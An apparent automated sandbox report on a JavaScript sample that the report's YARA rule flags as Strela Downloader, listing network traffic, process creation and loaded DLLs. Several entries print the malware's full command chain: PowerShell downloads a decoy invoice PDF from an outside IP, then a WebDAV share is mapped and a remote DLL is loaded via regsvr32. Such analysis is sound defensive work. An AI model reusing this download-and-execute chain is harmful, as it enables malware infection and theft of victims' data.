HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2105887318.000002A242BCD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2107789211.000002A244880000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2164848350.000001DE6DD5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2164848350.000001DE6DD07000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2164848350.000001DE6DD3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2164848350.000001DE6DD3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Zs
Source: net.exe, 00000007.00000002.2164848350.000001DE6DD3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ns
Source: net.exe, 00000007.00000002.2164848350.000001DE6DD07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3387817413.000002CB0D600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2164102434.000002CB0D4C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6640, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2453210565523714481.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6996

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:716:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kclsxfaf.qhh.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1556,i,12477727839145406114,14479775162683448985,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1556,i,12477727839145406114,14479775162683448985,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
